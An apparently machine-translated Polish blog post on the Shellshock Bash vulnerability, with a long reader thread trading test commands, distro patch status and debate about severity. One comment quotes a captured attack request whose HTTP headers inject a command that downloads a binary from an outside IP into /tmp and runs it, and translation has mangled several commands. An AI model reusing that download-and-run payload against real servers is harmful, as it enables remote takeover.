Bash: wykryto (i naprawiono) nową lukę w zabezpieczeniach

Na niektórych blogach dzieje się jak pożar, historia opublikowana w blog dotyczący bezpieczeństwa de Red Hat o luce w zabezpieczeniach wykrytej w Bash z powodu niewłaściwego użycia zmiennych globalnych. Według pierwotnych wiadomości:

„… Luka wynika z faktu, że zmienne środowiskowe ze specjalnie spreparowanymi wartościami mogą zostać utworzone przed wywołaniem powłoki bash. Te zmienne mogą zawierać kod, który jest wykonywany zaraz po wywołaniu powłoki. Nazwa tych opracowanych zmiennych nie ma znaczenia, tylko ich zawartość. W rezultacie ta luka jest ujawniona w wielu kontekstach, na przykład:

  • Wymuś polecenie jest używany w konfiguracjach sshd, aby zapewnić ograniczone możliwości wykonywania poleceń dla użytkowników zdalnych. Ta wada może być wykorzystana, aby tego uniknąć i zapewnić wykonanie dowolnego polecenia. Niektóre implementacje Git i Subversion wykorzystują takie ograniczone powłoki. Nie ma to wpływu na regularne korzystanie z OpenSSH, ponieważ użytkownicy mają już dostęp do konsoli.
  • Serwer Apache używający mod_cgi lub mod_cgid jest zagrożony, jeśli skrypty CGI są napisane zarówno w bash, jak i spawn podrzędnych. Takie podpoziomy są używane niejawnie przez system / popen w C, przez os.system / os.popen w Pythonie, jeśli używasz powłoki system / exec w PHP (podczas pracy w trybie CGI) i otwórz / system w Perlu (co zależy od ciągu polecenia).
  • Skrypty PHP wykonywane za pomocą mod_php nie ulegają zmianie, nawet jeśli odtwarzane są podpoziomy.
  • Klienci DHCP wywołują skrypty powłoki, aby skonfigurować system, używając wartości pobranych z potencjalnie złośliwego serwera. Pozwoliłoby to na wykonywanie dowolnych poleceń, zwykle jako root, na komputerze klienta DHCP.
  • Różne demony i programy z uprawnieniami SUID mogą wykonywać skrypty powłoki z wartościami zmiennych środowiskowych ustawionymi / pod wpływem użytkownika, co umożliwiłoby wykonanie dowolnych poleceń.
  • Każda inna aplikacja, która łączy się z powłoką lub uruchamia skrypt powłoki, na przykład używając basha jako interpretera. Skrypty powłoki, które nie eksportują zmiennych, nie są narażone na ten problem, nawet jeśli przetwarzają niezaufaną zawartość i przechowują ją w zmienne powłoki (po lewej) i podpoziomy otwierają się.

... "

Jak sprawdzić, czy dotyczy to mojego basha?

Biorąc to pod uwagę, istnieje bardzo prosty sposób sprawdzenia, czy ta luka dotyczy nas. W rzeczywistości testowałem na moich Antergosach i najwyraźniej nie mam problemu. Musimy tylko otworzyć terminal i włożyć:

env x = '() {:;}; podatny na echo 'bash -c "echo to jest test"

Jeśli to wyjdzie w ten sposób, nie mamy problemu:

env x = '() {:;}; podatne na echo 'bash -c' echo to jest test "bash: ostrzeżenie: x: ignorowanie próby definicji funkcji bash: błąd podczas importowania definicji funkcji dla` x 'to jest test

Jeśli wynik jest inny, należy skorzystać z kanałów aktualizacji naszych preferowanych dystrybucji, aby sprawdzić, czy zostały one już zastosowane. Więc wiesz 😉

Zaktualizowano: To jest wynik pracy współpracownika używającego Ubuntu 14:04:

env x = '() {:;}; echo podatne 'bash -c "echo to jest test" podatne to jest test

Jak widać, jak dotąd jest podatny na ataki.


66 komentarzy, zostaw swoje

Zostaw swój komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

*

*

  1. Odpowiedzialny za dane: Miguel Ángel Gatón
  2. Cel danych: kontrola spamu, zarządzanie komentarzami.
  3. Legitymacja: Twoja zgoda
  4. Przekazywanie danych: Dane nie będą przekazywane stronom trzecim, z wyjątkiem obowiązku prawnego.
  5. Przechowywanie danych: baza danych hostowana przez Occentus Networks (UE)
  6. Prawa: w dowolnym momencie możesz ograniczyć, odzyskać i usunąć swoje dane.

  1.   Gerson powiedział

    Mam Kubuntu 14.04 z 64 i dostaję też:

    env x = '() {:;}; podatny na echo 'bash -c "echo to jest test"
    podatne
    to jest test

    Już zaktualizowałem, ale to się nie zgadza. Co robić?

    1.    pełen życia powiedział

      Poczekaj, aż się zaktualizują. Na przykład już zaktualizowany eOS .. 😀

    2.    John powiedział

      Dziwne, mam też Kubuntu 14.04

      $ env x = '() {:;}; podatny na echo 'bash -c "echo to jest test"
      bash: ostrzeżenie: x: ignorowanie próby zdefiniowania funkcji
      bash: błąd podczas importowania definicji funkcji dla `x '
      to jest test

      1.    John powiedział

        Dodam, że pobrana dzisiaj wersja pakietu "bash" to:
        4.3–7ubuntu1.1

        http://packages.ubuntu.com/trusty/bash

    3.    Eliotime3000 powiedział

      W moim przypadku wydając polecenie, po prostu daje mi to w terminalu:

      >

      W każdym razie żartem jest to, że zaktualizowałem Debiana Wheezy i to mnie zrzuciło.

      1.    jukiteru powiedział

        Wheezy jest nadal podatny na drugą część błędu, przynajmniej po południu (UTC -4: 30) problem nadal występował: /

  2.   peterczech powiedział

    Właśnie potwierdziłem, że po zastosowaniu aktualizacji dziś rano nie ma to wpływu na Slackware, Debian ani Centos, ponieważ otrzymały odpowiednią aktualizację.

    Co sprawia, że ​​Ubuntu jest nadal podatny na ataki o tej porze? I powiedz mi, że to bezpieczne: D.

    1.    John powiedział

      Ale czy próbowałeś zaktualizować Ubuntu?
      Dzisiejsza aktualizacja również to naprawiła.

      1.    peterczech powiedział

        OK

    2.    Robet powiedział

      Eksperci ostrzegają przed luką „Bash”, która może stanowić większe zagrożenie dla użytkowników oprogramowania Linuksa niż błąd Heartbleed, w którym hakerzy mogą wykorzystać błąd w Bash, aby przejąć pełną kontrolę nad systemem.
      Tod Beardsley, kierownik ds. Inżynierii w firmie Rapid7 zajmującej się bezpieczeństwem cybernetycznym, ostrzegł, że wada została oceniona na 10 za jej powagę, co oznacza, że ​​ma maksymalny wpływ i została oceniona jako „niska” pod względem złożoności exploita, co oznacza, że ​​jest ona stosunkowo łatwa w przypadku ataków „hakerów” . Wykorzystując tę ​​lukę, osoby atakujące mogą potencjalnie przejąć kontrolę nad systemem operacyjnym, uzyskać dostęp do poufnych informacji, dokonać zmian itp. ”- powiedział Beardsley. „Każdy, kto ma systemy zajmujące Bash, powinien natychmiast zastosować łatkę” - dodał.
      ZANIM TA WRAŻLIWOŚĆ PRZEDSTAWIA STARE NARZĘDZIE (GNU), na którym jest hostowany Bach, dla oprogramowania Linux wygodniej byłoby pozbyć się GNU i zmienić na narzędzie BSD.

      PS: nie CENSORUJ mojej wolności wypowiedzi, ... nikogo nie obrażaj, ... nie usuwaj mojej wiadomości tak jak poprzedniej wiadomości, którą usunąłem!

      1.    Xerix powiedział

        Och, proszę, nie przesadzaj. Jak ja nienawidzę tych ludzi, którzy używają BSD i gardzą GNU, Linuksem czy czymkolwiek, co pochodzi z tych projektów.

      2.    peterczech powiedział

        Jestem z tobą i masz absolutną rację co do powagi tej dziury.

      3.    diazepam powiedział

        To nie była cenzura, to była redundancja (ten sam komentarz zamieściłeś w poście 3.14 gnome)

      4.    Personel powiedział

        «… I oceniono jako„ NISKIE ”, ZE WZGLĘDU NA ZŁOŻONOŚĆ wykorzystania, co oznacza, że ​​jest stosunkowo ŁATWY w przypadku ataków hakerów»

        Czy niezgodność jest zauważalna?
        W jaki sposób można łatwo wykorzystać tę lukę i jednocześnie mieć „niski” poziom ryzyka, ponieważ jest ona tak skomplikowana w użyciu?
        Jest to błąd, który został rozwiązany w ciągu kilku godzin od poznania się nawzajem i który, podobnie jak skrwawiony, nie ma żadnych raportów o wykorzystaniu (oczywiście ma mniej czasu, aby się poznać).
        To bardziej prasa brukowiec niż realne ryzyko.

      5.    peterczech powiedział

        Czy @Staff wydaje Ci się nieistotny? Co mi teraz powiesz?

        POBIERZ./.HTTP/1.0
        .User-Agent: .Thanks-Rob
        .Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
        .Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
        .Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
        .Zaakceptować:. * / *

        $ plik nginx
        nginx: 32-bitowy plik wykonywalny ELF LSB, Intel 80386, wersja 1 (SYSV), połączony statycznie, dla GNU / Linux 2.6.18, rozebrany

        $ suma md5 nginx
        5924bcc045bb7039f55c6ce29234e29a nginx

        $sha256sum nginx
        73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx

        Czy wiesz co to jest? Małego niebezpiecznego niczego ...

      6.    jukiteru powiedział

        Sytuacja jest dość poważna, ale stamtąd, aby powiedzieć, że powinieneś przestać używać basha dla opcji BSD, jest już co najwyżej, w każdym razie aktualizacja już tam jest, po prostu dotykam aktualizacji i nic więcej.

        Teraz PD wydaje mi się, że to raczej kolega @robet, nie sądzę, że tutaj admini są oddani usuwaniu takich komentarzy bo tak, bo od kiedy uczestniczyłem w tej społeczności mam takie przeczucie i mam nadzieję pozostaje w ten sposób.

        Pozdrowienia.

      7.    pełen życia powiedział

        Dokładnie taki sam komentarz umieszczasz w dwóch różnych postach. Jeśli próbujesz promować „źródło” wiadomości, przepraszam, to nie jest odpowiednie miejsce.

      8.    mario powiedział

        Bash pochodzi z Uniksa (i jego klonu GNU). Problem dotyczy również systemów opartych na BSD, takich jak OSX, i według Genbeta jeszcze go nie załatali. Podobnie, aby uzyskać dostęp do Bash, potrzebujesz konta użytkownika, lokalnego lub przez SSH.

      9.    jukiteru powiedział

        @Personel:

        1.- Został sklasyfikowany jako Poziom 10 (maksymalny poziom zagrożenia) ze względu na ilość usług, na które może mieć wpływ błąd. W głównej notatce wyjaśniają ten fakt, argumentując, że błąd może wpływać na usługi takie jak apache, sshd, programy z uprawnieniami suid (między innymi xorg).

        2.- Jest klasyfikowany jako niski poziom trudności, jeśli chodzi o jego implementację, a najlepszym tego przykładem jest skrypt do testowania podatności, który @elav umieścił w poście. Jak widać, bardzo trudne do wykonania nie jest.

        Nie widzę redundancji w informacjach (widzę tylko tłumaczenie Google) i jeśli problem jest dość poważny i jak mówisz, ma już łatkę i rozwiązanie, ale nie do tego, to już nie jest ryzyko, i całkiem prawdziwy.

      10.    Personel powiedział

        @petercheco / @yukiteru

        Nie interpretuj mnie źle, myślę, że jest jasne, że moją krytyką są wiadomości, które Robet łączy i koncentruje się na niekongruencji, a nie na redundancji.

        W ten sam sposób musimy odróżnić ryzyko od niebezpieczeństwa (nie wspominam o tym drugim), powszechnie używamy ich jako synonimów, ale tutaj niebezpieczeństwo oznaczałoby zdolność uszkodzenia błędu i ryzyko jego wystąpienia.
        W moim przypadku wszedłem od wczoraj. To nie było do list mailingowych ani niczego w tym rodzaju, tylko do dystrybucji na komputery! Podniosłem telefon i wysłałem wiadomość do administratora systemu z linkiem i potwierdziłem, że mam wszystko załatane, po czym przepraszam, ale te wiadomości nie pozwalają mi zasnąć.

      11.    Robet powiedział

        Na innych forach wspominają o luce Bash, „rozwiązaniu wydanym przez Debiana i Ubuntu”, ale dzisiaj odkryli, że luka nadal istnieje, więc rozwiązanie było niekompletne, wspominają o tym!

        Widzę, że wielu krytykowało mnie za prosty fakt zapobiegania ludziom przed dotkliwością luki - zakwalifikowany do poziomu 10 maksymalnego niebezpieczeństwa i wspominający o możliwych rozwiązaniach oprogramowania Linux przed przestarzałym narzędziem GNU, w którym jest hostowany Bash - co doskonale GNU mogłoby zostać zastąpione narzędziem BSD w oprogramowaniu Linux,… Używam również Linuksa i lubię Linux!

        Wyjaśniam, że Bash nie jest domyślnie instalowany w BSD, jest to jeszcze jeden pakiet kompatybilności z Linuksem, który można zainstalować w BSD ... tak!. A źródło jest umieszczone tak, aby mogli sprawdzać wiadomości, ponieważ wielu użytkowników czasami nie wierzy w wiadomość lub komentarz.

        1.    pełen życia powiedział

          robet: Jak już wielokrotnie powtarzali, już umieściłeś swój komentarz z wiadomościami w poście, nie musisz umieszczać go w każdym komentowanym poście.

          O bashu, ponieważ istnieją inne powłoki, których można użyć w przypadku, gdy Bash jest podatny na ataki. 😉

      12.    mario powiedział

        Robet, o którym wiem, nie ma oprogramowania, które łączyłoby jądro Linuksa z przestrzenią użytkownika BSD. Najbliżej jest odwrotnie, kBSD + GNU, tak jak robią to Gentoo i Debian. Poza tym GNU (1983) nie można nazwać „staromodnym”, jeśli jest po BSD (1977). Obaj mają wspólny katalog główny unix (ale nie kod), nie byłoby „kompatybilności z Linuksem”, gdyby Bash został stworzony, gdy Linus T był jeszcze dzieckiem.

  3.   manuelperezf , , , , , , , , , ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, , powiedział

    uff, testowanie Debiana w tej chwili jest „podatne”, co za passa ...

    1.    mrcelhw powiedział

      Używam Debian Testing i nawet w tej gałęzi otrzymaliśmy aktualizację bash

  4.   diazepam powiedział

    według genbeta istnieje również inna luka
    http://seclists.org/oss-sec/2014/q3/685

    polecenie do konsultacji to
    env X = '() {(a) => \' sh -c "podatny na echo"; bash -c "echo Failure 2 unpatch"

    1.    pełen życia powiedział
      env X = '() {(a) => \' sh -c "podatny na echo"; bash -c "echo Unpatch Failure 2" sh: X: wiersz 1: błąd składniowy w pobliżu nieoczekiwanego elementu `= 'sh: X: wiersz 1:`' sh: błąd podczas importowania definicji funkcji dla `X 'sh: luka: nie znaleziono polecenia Błąd 2 bez łatania
      
      1.    diazepam powiedział

        ten sam ja.

      2.    giskard powiedział

        To samo tutaj. Ale oryginalny błąd w poście został załatany w (L) Ubuntu 14.04

      3.    x11tete11x powiedział

        Zamiast wykonywać proste echo, spróbuj zmusić go do wykonania instrukcji wymagającej uprawnień, rzucam „niewystarczające uprawnienia” ... ten błąd nie eskaluje uprawnień? Jeśli nie eskaluje uprawnień, nie jest tak niebezpieczny, jak go malują.

      4.    Xurxo powiedział

        Masz rację!! to były dwie luki ...

        Dla mnie w Linux Mint 17 po drugiej aktualizacji bash, którą wczoraj w nocy umieścili w repozytoriach Ubuntu, po wykonaniu tego polecenia powłoka oferuje następujące dane wyjściowe:

        env X = '() {(a) => \' sh -c "podatny na echo"; bash -c "echo Fail 2 unpatch"
        >

        Wersja „bassh”, która została umieszczona w repozytoriach Ubuntu w celu zaktualizowania poprzednich, to:

        4.3–7ubuntu1.2

        W systemach pochodnych Debiana możesz sprawdzić zainstalowaną wersję za pomocą tego polecenia:

        dpkg -s bash | grep Wersja

        W każdym razie należy to wyjaśnić, przynajmniej dla użytkowników Debiana, Ubuntu i Mint; Nie powinieneś zbytnio przejmować się programami, które uruchamiają skrypty z nagłówkiem #! / Bin / sh, ponieważ w tych dystrybucjach / bin / sh nie wywołuje "bash", ale wiąże się z "myślnikiem" powłoki (myślnik to :)

        Konsola Debian Alchemist (myślnik) jest pochodną konsoli POSIX
        popiołu.
        .
        Ponieważ wykonuje skrypty szybciej niż bash i ma mniej zależności
        biblioteki (dzięki czemu są bardziej odporne na awarie oprogramowania lub
        sprzęt), jest używana jako domyślna konsola systemowa w systemach
        Debian.

        Tak więc, przynajmniej w Ubuntu, „bash” jest używany jako powłoka do logowania użytkownika (także dla użytkownika root). Ale każdy użytkownik może domyślnie użyć innej powłoki dla użytkownika i konsoli root (terminali).

        Łatwo jest sprawdzić, czy powłoka wykonuje skrypty (#! / Bin / sh), wykonując następujące polecenia:

        plik / bin / sh
        (wyjście to / bin / sh: dowiązanie symboliczne do `` myślnika '') śledzimy ślad, powtarzając polecenie

        plik / bin / dash
        (wynik to / bin / dash: 64-bitowy obiekt współdzielony ELF LSB, x86-64, wersja 1 (SYSV), więc jest to plik wykonywalny.

        Oto wyniki dystrybucji Linux Mint 17. W innych dystrybucjach innych niż Ubuntu / Debian mogą się one różnić.

        Zmiana domyślnej powłoki nie jest trudna !! możesz nawet użyć innego dla użytkowników i dla użytkownika root. Właściwie wystarczy zainstalować wybraną powłokę i zmienić domyślną komendą "chsh" lub edytując plik / etc / passwd (chociaż użytkownicy, którzy nie znają konsekwencji błędu podczas edycji pliku "passwd", lepiej, żeby się dobrze poinformowali i przed edycją zrób kopię oryginału na wypadek konieczności odzyskania).

        Czuję się bardziej komfortowo z „tcsh” (tcsh to :)

        Konsola TENEX C, ulepszona wersja Berkeley csh

        „Csh” jest tym, czego Mac OS X używał kilka lat temu. Co ma sens, biorąc pod uwagę, że znaczna część systemu operacyjnego Apple to kod FreeBSD. Z tego, co wczoraj przeczytałem, wydaje się, że zapewniają one również „bash” dla terminali użytkowników.

        WNIOSKI:

        - Poprawione wersje "bash" zostały już rozprowadzone "dla najczęściej używanych dystrybucji"
        - "bash" w wersji 4.3-7ubuntu1.2 i późniejszych nie zawiera tych błędów
        - Używanie "bash" w OS * Linux nie jest obowiązkowe
        - Kilka * dystrybucji Linuksa łączy #! / Bin / sh z "bash"
        - Istnieją alternatywy: popiół, myślnik, csh, tcsh i kilka innych
        - Zmiana domyślnej powłoki wywoływanej przez system podczas otwierania terminala nie jest skomplikowana
        - Niewiele małych urządzeń (routery i inne) używa "bash", ponieważ jest on bardzo duży !!

      5.    Xurxo powiedział

        W tej chwili nadeszła kolejna aktualizacja, która instaluje kolejną wersję „bash” 4.3-7ubuntu1.3

        Dla Linux Mint 17 i Ubuntu 14.04.1 LTS

        1.    pełen życia powiedział

          ArchLinux wprowadził wersję bash-4.3.026-1

    2.    Robet powiedział

      @ Xurxo… .csh z Berkeley?,… Coś rozumiesz z tego, o czym mówię powyżej, i lepiej jest użyć BSD „csh”… zamiast starego narzędzia GNU, na którym jest hostowany Bash. To narzędzie jest najlepsze dla oprogramowania Linux.

  5.   bez nazwy powiedział

    Myślę, że to jest błąd

    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760

    prawdziwe?

  6.   Gonzalo powiedział

    A jakie byłoby rozwiązanie?

    1.    pełen życia powiedział

      Poczekaj, aż zaktualizują pakiet w Twojej dystrybucji 😉

  7.   diazepam powiedział

    Bug został ochrzczony jako skorupiak
    http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/

  8.   Pablo Iwan Correa powiedział

    podatne
    to jest test

    Nie ma jeszcze łatki dla Ubuntu Studio 14.04

    1.    Wiecheć powiedział

      Naprawiony w Ubuntu Studio 14.04.1
      wisp @ ubuntustudio: ~ $ env x = '() {:;}; podatny na echo 'bash -c "echo to jest test"
      bash: ostrzeżenie: x: ignorowanie próby zdefiniowania funkcji
      bash: błąd podczas importowania definicji funkcji dla `x '
      to jest test

  9.   drogowy powiedział

    W rzeczywistości jest to niewielka luka, jeśli dotyczy ciebie, to znaczy, że wcześniej robiłeś coś złego ...

    Ponieważ skrypt bash działający z uprawnieniami roota nigdy nie powinien być ujawniany użytkownikowi. A jeśli biegnie bez przywilejów, nie ma takiej możliwości. Właściwie to nonsens. Dużo strachu.

    1.    Xerix powiedział

      Myślę tak samo.

    2.    Personel powiedział

      Dokładnie, aby sprzedawać więcej gazet lub mieć więcej wizyt, te błędy są dobre.
      Ale zawsze zapominają wspomnieć, że aby skompromitować komputer za pomocą tego rodzaju skryptów, musisz najpierw mieć dostęp do bash, a następnie mieć go jako root.

      1.    Dario powiedział

        personel jeśli używasz apache z cgi, po prostu umieść nagłówki http jako pliki cookie lub odwołaj się do funkcji, którą chcesz wykonać. Był nawet używany do rozprzestrzeniania robaków.

    3.    Dario powiedział

      a jeśli ktoś umieści na serwerze powłokę z wget mishell.php, w takim przypadku nie jest to poważne, prawda?

    4.    Eliotime3000 powiedział

      Zgadzam się z Tobą. Myślałem, że to ogromny błąd, taki jak ten w Heartbleed (nawet NSA nadawał się do podsycania zachorowalności), ale ostatecznie był to drobny błąd.

      Istnieją inne naprawdę poważne błędy, takie jak szalone zużycie Flasha i spadek wydajności w Pepper Flash Player, i ten, który został już naprawiony Błąd webRTC w przeglądarce Chrome i Firefox.

  10.   bindman powiedział

    Czy wiesz, czy ma rozwiązanie dla osób, które mają Linux Mint 16?

  11.   Oscar powiedział

    W testach Debiana zostało to już naprawione.

  12.   Yoyo powiedział

    W moich 5 dystrybucjach jest rozwiązany, w moim OS X nie wiem.

    Proszę nie cenzurować mojego komentarza, powiedziałem OS X. Nie wiem, czy możesz powiedzieć OS X na tej stronie.

    1.    Tannhausser powiedział

      @yoyo cóż, nie przejmuj się zbytnio, że wciąż pracują nad niektórymi szczegółami łatki ... spróbuj tego, a potem powiedz mi, spacer XD

      env x = '() {:;}; wrażliwy na echo 'bash -c "echo Jestem bardziej narażony niż śmieci w iPhonie 6"

      Że jeśli rozwiązali to w 100% przed OS X, stawiam na cokolwiek

    2.    Eliotime3000 powiedział

      Cóż, nawet w Ars Technica nadają znaczenie Bashowi w OSX.

    3.    pełen życia powiedział

      @Yoyo następny komentarz na temat OS X dla SPAMU .. lla tu save .. 😛

  13.   Tannhausser powiedział

    @yoyo tam, aby poprawić cytaty ... ale resztę znasz 😉

    1.    Eliotime3000 powiedział

      Jakby stali się protekcjonalni wobec OSX (ponieważ OSX nadal używa Bash: v).

      W każdym razie nie muszę tak bardzo bawić się Debianem Jessie.

  14.   elhui2 powiedział

    Jeśli system jest podatny na Cent OS:
    mniam czyste wszystko && mniam aktualizacja bash

    aby zobaczyć wersję bash:
    obr./min -qa | grep bash

    Jeśli wersja jest wcześniejsza niż bash-4.1.2-15.el6_5.1, Twój system może być podatny na ataki!

    Pozdrowienia.

  15.   manuelperezf , , , , , , , , , ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, ,, , powiedział

    Druga luka nie została jeszcze usunięta

    env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unpatch"

  16.   Jezus Perales powiedział

    Aktualizuję ...

  17.   przełącznik powiedział

    W Gentoo dzieje się odwrotnie, jestem podatny tylko na pierwszą awarię, ale przy drugiej otrzymuję to:
    [kod] sh: X: wiersz 1: błąd składniowy w pobliżu nieoczekiwanego elementu „=”
    sh: X: wiersz 1: ''
    sh: błąd podczas importowania definicji funkcji dla `X '
    sh: podatny: polecenie nie zostało znalezione
    Błąd 2 nie został załatany
    [/ Code]
    Nie wiem, czy będzie już stabilna wersja Bash z naprawionymi błędami, ale tak czy inaczej będzie czekała na następne wykonanie polecenia emerge –sync && emerge –update –deep –with-bdeps = i - newuse @world (w ten sposób krok aktualizuję cały system).

    1.    jukiteru powiedział

      Mam Gentoo z wersją 4.2_p50 i jak dotąd przeszedł on wszystkie testy. Spróbuj zainstalować opcję –sync, a następnie emerge -av1 app-shells / bash, a następnie sprawdź, czy masz wersję 4.2_p50, używając polecenia bash –version.

  18.   Fer powiedział

    Czy próbowałeś tego?

    A dzięki nowym pakietom nowy test, który zapewnia nam Red Hat

    cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "data echa"; cat / tmp / echo

    Jeśli nasz system nie jest podatny na ataki i został poprawnie załatany, musi nam coś takiego dać
    data 1
    2 cat: / tmp / echo: plik lub katalog nie istnieje

  19.   jukiteru powiedział

    Spróbuj w ten sposób:

    env X = '() {(a) => \' sh -c "podatny na echo"; bash -c "poprawka echo Failure 2"

    dostaję

    podatne
    Poprawiono błąd 2.

    1.    jukiteru powiedział

      Zapomnij, linia jest źle sformatowana.

  20.   Oscar meza powiedział

    Świetnie! Zrobiłem już aktualizację mojego Slackware, dzięki!

  21.   lothbrok powiedział

    Cześć, pojawia się pytanie, mam kilka serwerów z 10-bitowym systemem „SUSE Linux Enterprise Server 64”.
    Kiedy wykonuję polecenia, jestem bezbronny, jestem nawet bardziej bezbronny niż śmieci iPhone'a 6 xD
    Jeśli nie mylę się, aktualizując / instalując pakiety w SUSE, robi to za pomocą polecenia «zypper».

    Na niektórych serwerach mówi mi to:

    BIAL: ~ # zypper up
    -bash: zypper: nie znaleziono polecenia
    BIAL: ~ #

    A w innych to:

    SMB: ~ # zypper up
    Przywracam źródła systemowe…
    Analizowanie metadanych dla SUSE Linux Enterprise Server 10 SP2-20100319-161944…
    Parsowanie bazy danych RPM ...
    Podsumowanie:
    Nic do roboty.

    Co robię?
    Wiem, że niektórzy mówią, że wrażliwość jest mniejsza niż to, co ją malują, ale ja ją mam i nie chcę być narażony na ryzyko, czy to małe, czy duże.

    Pozdrowienia.

  22.   Sanders gutierrez powiedział

    Dobry wieczór, próbowałem wkleić kod, który podałeś w artykule, rozumiem
    sanders @ pc-sanders: ~ $ env x = '() {:;}; podatny na echo 'bash -c "echo to jest test"
    to jest test
    sanders @ pc-sanders: ~ $
    Czy mógłbyś mi wyjaśnić, jak załatać dystrybucję, aktualizuję codziennie i nie widzę zmian w danych wyjściowych monitu.

    Dziękuję bardzo!